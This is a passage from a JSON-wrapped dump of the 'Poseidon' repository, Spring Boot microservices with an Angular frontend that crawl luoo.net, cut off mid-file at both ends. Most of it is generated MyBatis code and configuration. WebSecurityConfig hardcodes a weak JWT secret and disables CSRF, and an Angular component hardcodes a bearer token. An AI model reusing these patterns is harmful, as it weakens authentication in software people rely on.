javaType=Integer.class, jdbcType=JdbcType.INTEGER),\n @Arg(column=\"key_words\", javaType=String.class, jdbcType=JdbcType.VARCHAR),\n @Arg(column=\"vol_cover_img\", javaType=String.class, jdbcType=JdbcType.VARCHAR),\n @Arg(column=\"tracks\", javaType=String.class, jdbcType=JdbcType.VARCHAR),\n @Arg(column=\"relative_vols\", javaType=String.class, jdbcType=JdbcType.VARCHAR),\n @Arg(column=\"vol_date\", javaType=String.class, jdbcType=JdbcType.VARCHAR),\n @Arg(column=\"create_time\", javaType=Date.class, jdbcType=JdbcType.TIMESTAMP)\n })\n List<Journal> selectByExample(JournalExample example);\n\n /**\n * This method was generated by MyBatis Generator.\n * This method corresponds to the database table journal\n *\n * @mbg.generated\n */\n @Select({\n \"select\",\n \"id, title, journal_id, key_words, vol_cover_img, tracks, relative_vols, vol_date, \",\n \"create_time, vol_desc\",\n \"from journal\",\n \"where id = #{id,jdbcType=INTEGER}\"\n })\n @ConstructorArgs({\n @Arg(column=\"id\", javaType=Integer.class, jdbcType=JdbcType.INTEGER, id=true),\n @Arg(column=\"title\", javaType=String.class, jdbcType=JdbcType.VARCHAR),\n @Arg(column=\"journal_id\", javaType=Integer.class, jdbcType=JdbcType.INTEGER),\n @Arg(column=\"key_words\", javaType=String.class, jdbcType=JdbcType.VARCHAR),\n @Arg(column=\"vol_cover_img\", javaType=String.class, jdbcType=JdbcType.VARCHAR),\n @Arg(column=\"tracks\", javaType=String.class, jdbcType=JdbcType.VARCHAR),\n @Arg(column=\"relative_vols\", javaType=String.class, jdbcType=JdbcType.VARCHAR),\n @Arg(column=\"vol_date\", javaType=String.class, jdbcType=JdbcType.VARCHAR),\n @Arg(column=\"create_time\", javaType=Date.class, jdbcType=JdbcType.TIMESTAMP),\n @Arg(column=\"vol_desc\", javaType=String.class, jdbcType=JdbcType.LONGVARCHAR)\n })\n Journal selectByPrimaryKey(Integer id);\n\n /**\n * This method was generated by MyBatis Generator.\n * This method corresponds to the database table journal\n *\n * @mbg.generated\n */\n @UpdateProvider(type=JournalSqlProvider.class, method=\"updateByExampleSelective\")\n int updateByExampleSelective(@Param(\"record\") Journal record, @Param(\"example\") JournalExample example);\n\n /**\n * This method was generated by MyBatis Generator.\n * This method corresponds to the database table journal\n *\n * @mbg.generated\n */\n @UpdateProvider(type=JournalSqlProvider.class, method=\"updateByExampleWithBLOBs\")\n int updateByExampleWithBLOBs(@Param(\"record\") Journal record, @Param(\"example\") JournalExample example);\n\n /**\n * This method was generated by MyBatis Generator.\n * This method corresponds to the database table journal\n *\n * @mbg.generated\n */\n @UpdateProvider(type=JournalSqlProvider.class, method=\"updateByExample\")\n int updateByExample(@Param(\"record\") Journal record, @Param(\"example\") JournalExample example);\n\n /**\n * This method was generated by MyBatis Generator.\n * This method corresponds to the database table journal\n *\n * @mbg.generated\n */\n @UpdateProvider(type=JournalSqlProvider.class, method=\"updateByPrimaryKeySelective\")\n int updateByPrimaryKeySelective(Journal record);\n\n /**\n * This method was generated by MyBatis Generator.\n * This method corresponds to the database table journal\n *\n * @mbg.generated\n */\n @Update({\n \"update journal\",\n \"set title = #{title,jdbcType=VARCHAR},\",\n \"journal_id = #{journalId,jdbcType=INTEGER},\",\n \"key_words = #{keyWords,jdbcType=VARCHAR},\",\n \"vol_cover_img = #{volCoverImg,jdbcType=VARCHAR},\",\n \"tracks = #{tracks,jdbcType=VARCHAR},\",\n \"relative_vols = #{relativeVols,jdbcType=VARCHAR},\",\n \"vol_date = #{volDate,jdbcType=VARCHAR},\",\n \"create_time = #{createTime,jdbcType=TIMESTAMP},\",\n \"vol_desc = #{volDesc,jdbcType=LONGVARCHAR}\",\n \"where id = #{id,jdbcType=INTEGER}\"\n })\n int updateByPrimaryKeyWithBLOBs(Journal record);\n\n /**\n * This method was generated by MyBatis Generator.\n * This method corresponds to the database table journal\n *\n * @mbg.generated\n */\n @Update({\n \"update journal\",\n \"set title = #{title,jdbcType=VARCHAR},\",\n \"journal_id = #{journalId,jdbcType=INTEGER},\",\n \"key_words = #{keyWords,jdbcType=VARCHAR},\",\n \"vol_cover_img = #{volCoverImg,jdbcType=VARCHAR},\",\n \"tracks = #{tracks,jdbcType=VARCHAR},\",\n \"relative_vols = #{relativeVols,jdbcType=VARCHAR},\",\n \"vol_date = #{volDate,jdbcType=VARCHAR},\",\n \"create_time = #{createTime,jdbcType=TIMESTAMP}\",\n \"where id = #{id,jdbcType=INTEGER}\"\n })\n int updateByPrimaryKey(Journal record);\n}" }, { "alpha_fraction": 0.7535461187362671, "alphanum_fraction": 0.765070915222168, "avg_line_length": 33.181819915771484, "blob_id": "70091e8b0f6ead23c5b7c172fc1fe6ed1691b70f", "content_id": "20c4b8d5fdf40bfbd5fc3d035070705c1293165e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 1146, "license_type": "permissive", "max_line_length": 97, "num_lines": 33, "path": "/luoo/src/main/java/com/tneciv/poseidon/config/GlobalExceptionHandler.java", "repo_name": "Tneciv/Poseidon", "src_encoding": "UTF-8", "text": "package com.tneciv.poseidon.config;\n\nimport com.tneciv.poseidon.common.ApplicationException;\nimport com.tneciv.poseidon.common.ResponseWrapper;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.http.HttpStatus;\nimport org.springframework.web.bind.annotation.ExceptionHandler;\nimport org.springframework.web.bind.annotation.ResponseStatus;\nimport org.springframework.web.bind.annotation.RestControllerAdvice;\n\n/**\n * Created by Tneciv on 2017/3/28.\n */\n@RestControllerAdvice\n@Slf4j\npublic class GlobalExceptionHandler {\n\n @ExceptionHandler(Exception.class)\n @ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)\n public ResponseWrapper handleError500(Exception ex) throws Throwable {\n ex.printStackTrace();\n log.error(\"[็ณป็ปŸๅผ‚ๅธธ] : {}\", ex);\n return ResponseWrapper.fail(ex.toString());\n }\n\n @ExceptionHandler(ApplicationException.class)\n @ResponseStatus(HttpStatus.SERVICE_UNAVAILABLE)\n public ResponseWrapper handleApplicationException(ApplicationException ex) throws Throwable {\n log.error(\"[่ฟ่กŒๆœŸๅผ‚ๅธธ] : {}\", ex.getMessage());\n return ResponseWrapper.fail(ex);\n }\n\n}\n" }, { "alpha_fraction": 0.5947462320327759, "alphanum_fraction": 0.5970721244812012, "avg_line_length": 23.695945739746094, "blob_id": "bef1ded10b92df9c0b178af00c0142d360ae2a23", "content_id": "45a59b98641f94e2a59e3e6782c6616c4b8d22e6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 7309, "license_type": "permissive", "max_line_length": 138, "num_lines": 296, "path": "/luoo/src/main/java/com/tneciv/poseidon/entity/Track.java", "repo_name": "Tneciv/Poseidon", "src_encoding": "UTF-8", "text": "package com.tneciv.poseidon.entity;\n\nimport java.util.Date;\n\npublic class Track {\n /**\n *\n * This field was generated by MyBatis Generator.\n * This field corresponds to the database column track.id\n *\n * @mbg.generated\n */\n private Integer id;\n\n /**\n *\n * This field was generated by MyBatis Generator.\n * This field corresponds to the database column track.track_id\n *\n * @mbg.generated\n */\n private Integer trackId;\n\n /**\n *\n * This field was generated by MyBatis Generator.\n * This field corresponds to the database column track.name\n *\n * @mbg.generated\n */\n private String name;\n\n /**\n *\n * This field was generated by MyBatis Generator.\n * This field corresponds to the database column track.artist\n *\n * @mbg.generated\n */\n private String artist;\n\n /**\n *\n * This field was generated by MyBatis Generator.\n * This field corresponds to the database column track.cover_img\n *\n * @mbg.generated\n */\n private String coverImg;\n\n /**\n *\n * This field was generated by MyBatis Generator.\n * This field corresponds to the database column track.album\n *\n * @mbg.generated\n */\n private String album;\n\n /**\n *\n * This field was generated by MyBatis Generator.\n * This field corresponds to the database column track.mp3_url\n *\n * @mbg.generated\n */\n private String mp3Url;\n\n /**\n *\n * This field was generated by MyBatis Generator.\n * This field corresponds to the database column track.create_time\n *\n * @mbg.generated\n */\n private Date createTime;\n\n /**\n * This method was generated by MyBatis Generator.\n * This method corresponds to the database table track\n *\n * @mbg.generated\n */\n public Track(Integer id, Integer trackId, String name, String artist, String coverImg, String album, String mp3Url, Date createTime) {\n this.id = id;\n this.trackId = trackId;\n this.name = name;\n this.artist = artist;\n this.coverImg = coverImg;\n this.album = album;\n this.mp3Url = mp3Url;\n this.createTime = createTime;\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method corresponds to the database table track\n *\n * @mbg.generated\n */\n public Track() {\n super();\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method returns the value of the database column track.id\n *\n * @return the value of track.id\n *\n * @mbg.generated\n */\n public Integer getId() {\n return id;\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method sets the value of the database column track.id\n *\n * @param id the value for track.id\n *\n * @mbg.generated\n */\n public void setId(Integer id) {\n this.id = id;\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method returns the value of the database column track.track_id\n *\n * @return the value of track.track_id\n *\n * @mbg.generated\n */\n public Integer getTrackId() {\n return trackId;\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method sets the value of the database column track.track_id\n *\n * @param trackId the value for track.track_id\n *\n * @mbg.generated\n */\n public void setTrackId(Integer trackId) {\n this.trackId = trackId;\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method returns the value of the database column track.name\n *\n * @return the value of track.name\n *\n * @mbg.generated\n */\n public String getName() {\n return name;\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method sets the value of the database column track.name\n *\n * @param name the value for track.name\n *\n * @mbg.generated\n */\n public void setName(String name) {\n this.name = name == null ? null : name.trim();\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method returns the value of the database column track.artist\n *\n * @return the value of track.artist\n *\n * @mbg.generated\n */\n public String getArtist() {\n return artist;\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method sets the value of the database column track.artist\n *\n * @param artist the value for track.artist\n *\n * @mbg.generated\n */\n public void setArtist(String artist) {\n this.artist = artist == null ? null : artist.trim();\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method returns the value of the database column track.cover_img\n *\n * @return the value of track.cover_img\n *\n * @mbg.generated\n */\n public String getCoverImg() {\n return coverImg;\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method sets the value of the database column track.cover_img\n *\n * @param coverImg the value for track.cover_img\n *\n * @mbg.generated\n */\n public void setCoverImg(String coverImg) {\n this.coverImg = coverImg == null ? null : coverImg.trim();\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method returns the value of the database column track.album\n *\n * @return the value of track.album\n *\n * @mbg.generated\n */\n public String getAlbum() {\n return album;\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method sets the value of the database column track.album\n *\n * @param album the value for track.album\n *\n * @mbg.generated\n */\n public void setAlbum(String album) {\n this.album = album == null ? null : album.trim();\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method returns the value of the database column track.mp3_url\n *\n * @return the value of track.mp3_url\n *\n * @mbg.generated\n */\n public String getMp3Url() {\n return mp3Url;\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method sets the value of the database column track.mp3_url\n *\n * @param mp3Url the value for track.mp3_url\n *\n * @mbg.generated\n */\n public void setMp3Url(String mp3Url) {\n this.mp3Url = mp3Url == null ? null : mp3Url.trim();\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method returns the value of the database column track.create_time\n *\n * @return the value of track.create_time\n *\n * @mbg.generated\n */\n public Date getCreateTime() {\n return createTime;\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method sets the value of the database column track.create_time\n *\n * @param createTime the value for track.create_time\n *\n * @mbg.generated\n */\n public void setCreateTime(Date createTime) {\n this.createTime = createTime;\n }\n}" }, { "alpha_fraction": 0.6594036817550659, "alphanum_fraction": 0.6662843823432922, "avg_line_length": 26.25, "blob_id": "117eab6553d54f808c89f8d023429a98982bd719", "content_id": "cf3c78e7544da1d47802238e393d8dfae64a3cc2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 876, "license_type": "permissive", "max_line_length": 113, "num_lines": 32, "path": "/api-gateway/src/main/frontend/src/app/journal/journal.component.ts", "repo_name": "Tneciv/Poseidon", "src_encoding": "UTF-8", "text": "import {Component, OnInit} from '@angular/core';\nimport {Http, RequestOptions, Headers} from '@angular/http';\nimport 'rxjs/Rx';\n\n@Component({\n selector: 'app-journal',\n templateUrl: './journal.component.html',\n styleUrls: ['./journal.component.css']\n})\nexport class JournalComponent implements OnInit {\n\n private options: RequestOptions;\n\n constructor(private http: Http) {\n }\n\n ngOnInit() {\n let headers = new Headers();\n localStorage.setItem(\"Authorization\", \"Bearer eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiJ1c2VyIiwiZXhwIjoxNDk3OTczNjk2fQ.ZdSZiC1I0aGkfooK1INpufZQ2JQxA_EciG124Qeb8OwWA6mX8AMnZW0cr1y6_-TAyGSvpyKFEP56qwIeYjdT_w\");\n let item = localStorage.getItem(\"Authorization\");\n headers.append('Authorization', item);\n this.options = new RequestOptions({headers: headers});\n\n this.http.get('http://localhost:8088/api/luoo/journal/keyword?keyword=ๆฐ‘่ฐฃ&pageSize=5&pageNum=1', this.options)\n .map(res => res.json())\n .subscribe(\n res => alert(res),\n err => alert(err)\n );\n }\n\n}\n" }, { "alpha_fraction": 0.7266436219215393, "alphanum_fraction": 0.7266436219215393, "avg_line_length": 27.899999618530273, "blob_id": "453ebb0552e7ff54110e59a40d8f2b99b634e32f", "content_id": "a24edb93c1e2ca58e68191877d1364eca466101e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 867, "license_type": "permissive", "max_line_length": 61, "num_lines": 30, "path": "/frontend/src/app/app.module.ts", "repo_name": "Tneciv/Poseidon", "src_encoding": "UTF-8", "text": "import {BrowserModule} from '@angular/platform-browser';\nimport {NgModule} from '@angular/core';\nimport {FormsModule} from '@angular/forms';\nimport {HttpModule} from '@angular/http';\n\nimport {AppComponent} from './app.component';\nimport {JournalComponent} from './journal/journal.component';\nimport {JournalService} from \"./journal/journal.service\";\nimport {NgbModule} from \"@ng-bootstrap/ng-bootstrap\";\nimport {HttpService} from \"./common/http.service\";\nimport {RouterModule} from '@angular/router';\nimport {LUOO_APP_ROUTERS} from './common/routers';\n\n@NgModule({\n declarations: [\n AppComponent,\n JournalComponent\n ],\n imports: [\n BrowserModule,\n FormsModule,\n HttpModule,\n RouterModule.forRoot(LUOO_APP_ROUTERS),\n NgbModule.forRoot()\n ],\n providers: [JournalService, HttpService],\n bootstrap: [AppComponent]\n})\nexport class AppModule {\n}\n" }, { "alpha_fraction": 0.560820996761322, "alphanum_fraction": 0.5718382000923157, "avg_line_length": 34.05820083618164, "blob_id": "5e5e11f63673b9a96ce38b8ae04045a3bee9d00e", "content_id": "11c53871b2194149936d0d98b2b4544ce90ecf75", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Maven POM", "length_bytes": 6662, "license_type": "permissive", "max_line_length": 108, "num_lines": 189, "path": "/luoo/pom.xml", "repo_name": "Tneciv/Poseidon", "src_encoding": "UTF-8", "text": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n <modelVersion>4.0.0</modelVersion>\n\n <groupId>com.tneciv.poseidon</groupId>\n <artifactId>luoo</artifactId>\n <version>0.0.1-SNAPSHOT</version>\n <packaging>jar</packaging>\n\n <name>luoo</name>\n <description>Crawler service for Poseidon</description>\n\n <parent>\n <groupId>org.springframework.boot</groupId>\n <artifactId>spring-boot-starter-parent</artifactId>\n <version>1.5.4.RELEASE</version>\n <relativePath/> <!-- lookup parent from repository -->\n </parent>\n\n <properties>\n <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n <java.version>1.8</java.version>\n <retrofit2.version>2.2.0</retrofit2.version>\n <swagger2.version>2.7.0</swagger2.version>\n <druid.version>1.1.0</druid.version>\n <mybatis.version>1.3.0</mybatis.version>\n <pagehelper.version>1.1.1</pagehelper.version>\n </properties>\n\n <dependencies>\n <dependency>\n <groupId>org.springframework.cloud</groupId>\n <artifactId>spring-cloud-starter-config</artifactId>\n </dependency>\n <dependency>\n <groupId>org.springframework.cloud</groupId>\n <artifactId>spring-cloud-starter-eureka</artifactId>\n </dependency>\n <dependency>\n <groupId>org.mybatis.spring.boot</groupId>\n <artifactId>mybatis-spring-boot-starter</artifactId>\n <version>${mybatis.version}</version>\n </dependency>\n <dependency>\n <groupId>org.springframework.boot</groupId>\n <artifactId>spring-boot-starter-thymeleaf</artifactId>\n </dependency>\n <dependency>\n <groupId>org.springframework.boot</groupId>\n <artifactId>spring-boot-starter-web</artifactId>\n </dependency>\n <dependency>\n <groupId>org.springframework.boot</groupId>\n <artifactId>spring-boot-starter-aop</artifactId>\n </dependency>\n <dependency>\n <groupId>org.springframework.boot</groupId>\n <artifactId>spring-boot-devtools</artifactId>\n <scope>runtime</scope>\n <optional>true</optional>\n </dependency>\n\n <dependency>\n <groupId>mysql</groupId>\n <artifactId>mysql-connector-java</artifactId>\n <scope>runtime</scope>\n </dependency>\n <dependency>\n <groupId>org.projectlombok</groupId>\n <artifactId>lombok</artifactId>\n <optional>true</optional>\n </dependency>\n <dependency>\n <groupId>org.springframework.boot</groupId>\n <artifactId>spring-boot-starter-test</artifactId>\n <scope>test</scope>\n </dependency>\n\n <dependency>\n <groupId>org.jsoup</groupId>\n <artifactId>jsoup</artifactId>\n <version>1.10.2</version>\n </dependency>\n\n <dependency>\n <groupId>io.reactivex.rxjava2</groupId>\n <artifactId>rxjava</artifactId>\n <version>2.0.8</version>\n </dependency>\n\n <dependency>\n <groupId>com.squareup.retrofit2</groupId>\n <artifactId>retrofit</artifactId>\n <version>${retrofit2.version}</version>\n </dependency>\n <dependency>\n <groupId>com.squareup.retrofit2</groupId>\n <artifactId>adapter-rxjava2</artifactId>\n <version>${retrofit2.version}</version>\n </dependency>\n <dependency>\n <groupId>com.squareup.retrofit2</groupId>\n <artifactId>converter-scalars</artifactId>\n <version>${retrofit2.version}</version>\n </dependency>\n\n <dependency>\n <groupId>io.springfox</groupId>\n <artifactId>springfox-swagger2</artifactId>\n <version>${swagger2.version}</version>\n </dependency>\n <dependency>\n <groupId>io.springfox</groupId>\n <artifactId>springfox-swagger-ui</artifactId>\n <version>${swagger2.version}</version>\n </dependency>\n\n <dependency>\n <groupId>com.github.pagehelper</groupId>\n <artifactId>pagehelper-spring-boot-starter</artifactId>\n <version>${pagehelper.version}</version>\n </dependency>\n <dependency>\n <groupId>com.alibaba</groupId>\n <artifactId>druid</artifactId>\n <version>${druid.version}</version>\n </dependency>\n\n </dependencies>\n\n <dependencyManagement>\n <dependencies>\n <dependency>\n <groupId>org.springframework.cloud</groupId>\n <artifactId>spring-cloud-dependencies</artifactId>\n <version>Dalston.RELEASE</version>\n <type>pom</type>\n <scope>import</scope>\n </dependency>\n </dependencies>\n </dependencyManagement>\n\n <build>\n <plugins>\n <plugin>\n <groupId>org.springframework.boot</groupId>\n <artifactId>spring-boot-maven-plugin</artifactId>\n </plugin>\n\n <plugin>\n <groupId>org.mybatis.generator</groupId>\n <artifactId>mybatis-generator-maven-plugin</artifactId>\n <version>1.3.5</version>\n <configuration>\n <!--ๅ…่ฎธ็งปๅŠจ็”Ÿๆˆ็š„ๆ–‡ไปถ-->\n <verbose>true</verbose>\n <!--ๅ…่ฎธ่ฆ†็›–็”Ÿๆˆ็š„ๆ–‡ไปถ-->\n <overwrite>true</overwrite>\n </configuration>\n </plugin>\n\n <plugin>\n <groupId>org.apache.maven.plugins</groupId>\n <artifactId>maven-compiler-plugin</artifactId>\n <version>3.6.1</version>\n </plugin>\n\n </plugins>\n </build>\n\n <repositories>\n <repository>\n <id>alimaven</id>\n <name>aliyun maven</name>\n <url>http://maven.aliyun.com/nexus/content/groups/public/</url>\n </repository>\n <repository>\n <id>spring-milestones</id>\n <name>Spring Milestones</name>\n <url>https://repo.spring.io/milestone</url>\n <snapshots>\n <enabled>false</enabled>\n </snapshots>\n </repository>\n </repositories>\n\n</project>\n" }, { "alpha_fraction": 0.75789475440979, "alphanum_fraction": 0.761403501033783, "avg_line_length": 21, "blob_id": "95bd93464c3f9c62420c2db1ecb4d664a7e3f5d9", "content_id": "8461b7ba3d57d3a90ccaf2fe58a93cf31072d2be", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 287, "license_type": "permissive", "max_line_length": 106, "num_lines": 13, "path": "/README.md", "repo_name": "Tneciv/Poseidon", "src_encoding": "UTF-8", "text": "# Intro\n\n## Poseidon is a series of microservice build with spring-boot , used to get info from http://www.luoo.net\n\nIncluding the following services ๏ผš\n\n* Discovery server service\n* Crawler made by Scrapy\n* Config service\n* API gateway\n* Content service\n* Angular4 frontend\n* Ionic app" }, { "alpha_fraction": 0.709978461265564, "alphanum_fraction": 0.7167983055114746, "avg_line_length": 46.23728942871094, "blob_id": "808fb0ef175e092c39f23f0dc21e49d08a0d9202", "content_id": "c37ba449ca769f735fc638e488dfc83107c642b6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 2786, "license_type": "permissive", "max_line_length": 142, "num_lines": 59, "path": "/api-gateway/src/main/java/com/tneciv/poseidon/security/WebSecurityConfig.java", "repo_name": "Tneciv/Poseidon", "src_encoding": "UTF-8", "text": "package com.tneciv.poseidon.security;\n\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.http.HttpMethod;\nimport org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;\nimport org.springframework.security.config.annotation.web.builders.HttpSecurity;\nimport org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;\nimport org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;\nimport org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter;\nimport org.springframework.web.cors.CorsUtils;\n\nimport javax.sql.DataSource;\n\n@SuppressWarnings(\"SpringJavaAutowiringInspection\")\n@Configuration\n@EnableWebSecurity\npublic class WebSecurityConfig extends WebSecurityConfigurerAdapter {\n\n public static final long EXPIRATIONTIME = 864000000L; // 10 days\n public static final String SECRET = \"Poseidon\";\n public static final String TOKEN_PREFIX = \"Bearer\";\n public static final String HEADER_STRING = \"Authorization\";\n\n @Value(\"${zuul.prefix}\")\n private String API_PATH;\n @Autowired\n private DataSource dataSource;\n\n @Override\n protected void configure(HttpSecurity http) throws Exception {\n http.csrf().disable().authorizeRequests()\n .requestMatchers(CorsUtils::isCorsRequest).permitAll()\n .antMatchers(\"/\").permitAll()\n .antMatchers(HttpMethod.POST, \"/login\").permitAll()\n .antMatchers(API_PATH + \"/**\").authenticated()\n .and()\n // We filter the api/login requests\n .addFilterBefore(new JWTLoginFilter(\"/login\", authenticationManager()),\n UsernamePasswordAuthenticationFilter.class)\n // And filter other requests to check the presence of JWT in header\n .addFilterBefore(new JWTAuthenticationFilter(),\n UsernamePasswordAuthenticationFilter.class);\n }\n\n @Override\n protected void configure(AuthenticationManagerBuilder auth) throws Exception {\n\n //http://stackoverflow.com/questions/24174884/spring-security-jdbcauthentication-default-scheme-error-on-postgresql\n auth.jdbcAuthentication()\n .dataSource(dataSource)\n .usersByUsernameQuery(\n \"SELECT username , password , enabled FROM users WHERE username = ?\")\n .authoritiesByUsernameQuery(\n \"SELECT u.username AS user , r.role AS role FROM users u LEFT JOIN roles r ON u.role_id = r.id WHERE u.username = ?\");\n }\n\n}" }, { "alpha_fraction": 0.7984395027160645, "alphanum_fraction": 0.7984395027160645, "avg_line_length": 31.08333396911621, "blob_id": "370715313037cc55a8302c3814f43723f2263542", "content_id": "f3dc433c1be94d660bbfab8e3d5fcd30735cc5bb", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 769, "license_type": "permissive", "max_line_length": 93, "num_lines": 24, "path": "/api-gateway/src/main/java/com/tneciv/poseidon/config/WebConfig.java", "repo_name": "Tneciv/Poseidon", "src_encoding": "UTF-8", "text": "package com.tneciv.poseidon.config;\n\nimport com.tneciv.poseidon.common.LoginUserResolver;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.web.method.support.HandlerMethodArgumentResolver;\nimport org.springframework.web.servlet.config.annotation.CorsRegistry;\nimport org.springframework.web.servlet.config.annotation.WebMvcConfigurerAdapter;\n\nimport java.util.List;\n\n@Configuration\npublic class WebConfig extends WebMvcConfigurerAdapter {\n\n @Override\n public void addCorsMappings(CorsRegistry registry) {\n registry.addMapping(\"/**\");\n }\n\n @Override\n public void addArgumentResolvers(List<HandlerMethodArgumentResolver> argumentResolvers) {\n argumentResolvers.add(new LoginUserResolver());\n }\n \n}" }, { "alpha_fraction": 0.758865237236023, "alphanum_fraction": 0.7645390033721924, "avg_line_length": 38.16666793823242, "blob_id": "c3dc4650be301916e169763d28ebaaeddfe5c1a0", "content_id": "2ecd006dfc6a23b8199cd581d32f184284f336ea", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 1410, "license_type": "permissive", "max_line_length": 95, "num_lines": 36, "path": "/luoo/src/main/java/com/tneciv/poseidon/common/ArgumentResolver.java", "repo_name": "Tneciv/Poseidon", "src_encoding": "UTF-8", "text": "package com.tneciv.poseidon.common;\n\nimport com.tneciv.poseidon.annotations.TnecivArgument;\nimport com.tneciv.poseidon.dto.JournalDto;\nimport com.tneciv.poseidon.service.JournalService;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.core.MethodParameter;\nimport org.springframework.stereotype.Component;\nimport org.springframework.web.bind.support.WebDataBinderFactory;\nimport org.springframework.web.context.request.NativeWebRequest;\nimport org.springframework.web.method.support.HandlerMethodArgumentResolver;\nimport org.springframework.web.method.support.ModelAndViewContainer;\n\n/**\n * Created by Tneciv on 2017/6/28.\n */\n@Component\npublic class ArgumentResolver implements HandlerMethodArgumentResolver {\n\n @Autowired\n private JournalService journalService;\n\n @Override\n public boolean supportsParameter(MethodParameter methodParameter) {\n return methodParameter.hasParameterAnnotation(TnecivArgument.class);\n }\n\n @Override\n public Object resolveArgument(MethodParameter methodParameter,\n ModelAndViewContainer modelAndViewContainer,\n NativeWebRequest nativeWebRequest,\n WebDataBinderFactory webDataBinderFactory) throws Exception {\n JournalDto journalDto = journalService.queryByJournalId(1);\n return journalDto;\n }\n}\n" }, { "alpha_fraction": 0.6129680275917053, "alphanum_fraction": 0.6129680275917053, "avg_line_length": 24.97527503967285, "blob_id": "f4e05ee4b7f8bb36e4ab0ff397310f104333ae86", "content_id": "f124b2d10b306be79e7cf137900d440eb350bce8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 9454, "license_type": "permissive", "max_line_length": 187, "num_lines": 364, "path": "/luoo/src/main/java/com/tneciv/poseidon/entity/Journal.java", "repo_name": "Tneciv/Poseidon", "src_encoding": "UTF-8", "text": "package com.tneciv.poseidon.entity;\n\nimport java.util.Date;\n\npublic class Journal {\n /**\n *\n * This field was generated by MyBatis Generator.\n * This field corresponds to the database column journal.id\n *\n * @mbg.generated\n */\n private Integer id;\n\n /**\n *\n * This field was generated by MyBatis Generator.\n * This field corresponds to the database column journal.title\n *\n * @mbg.generated\n */\n private String title;\n\n /**\n *\n * This field was generated by MyBatis Generator.\n * This field corresponds to the database column journal.journal_id\n *\n * @mbg.generated\n */\n private Integer journalId;\n\n /**\n *\n * This field was generated by MyBatis Generator.\n * This field corresponds to the database column journal.key_words\n *\n * @mbg.generated\n */\n private String keyWords;\n\n /**\n *\n * This field was generated by MyBatis Generator.\n * This field corresponds to the database column journal.vol_cover_img\n *\n * @mbg.generated\n */\n private String volCoverImg;\n\n /**\n *\n * This field was generated by MyBatis Generator.\n * This field corresponds to the database column journal.tracks\n *\n * @mbg.generated\n */\n private String tracks;\n\n /**\n *\n * This field was generated by MyBatis Generator.\n * This field corresponds to the database column journal.relative_vols\n *\n * @mbg.generated\n */\n private String relativeVols;\n\n /**\n *\n * This field was generated by MyBatis Generator.\n * This field corresponds to the database column journal.vol_date\n *\n * @mbg.generated\n */\n private String volDate;\n\n /**\n *\n * This field was generated by MyBatis Generator.\n * This field corresponds to the database column journal.create_time\n *\n * @mbg.generated\n */\n private Date createTime;\n\n /**\n *\n * This field was generated by MyBatis Generator.\n * This field corresponds to the database column journal.vol_desc\n *\n * @mbg.generated\n */\n private String volDesc;\n\n /**\n * This method was generated by MyBatis Generator.\n * This method corresponds to the database table journal\n *\n * @mbg.generated\n */\n public Journal(Integer id, String title, Integer journalId, String keyWords, String volCoverImg, String tracks, String relativeVols, String volDate, Date createTime, String volDesc) {\n this.id = id;\n this.title = title;\n this.journalId = journalId;\n this.keyWords = keyWords;\n this.volCoverImg = volCoverImg;\n this.tracks = tracks;\n this.relativeVols = relativeVols;\n this.volDate = volDate;\n this.createTime = createTime;\n this.volDesc = volDesc;\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method corresponds to the database table journal\n *\n * @mbg.generated\n */\n public Journal() {\n super();\n }\n\n /**\n * This method was generated by MyBatis Generator.\n * This method returns the value of the database column journal.id\n *\n * @return the value of journal.id\n *\n * @mbg.generated\n */\n public Integer getId() {\n return id;\n }\n\n /**\n * This 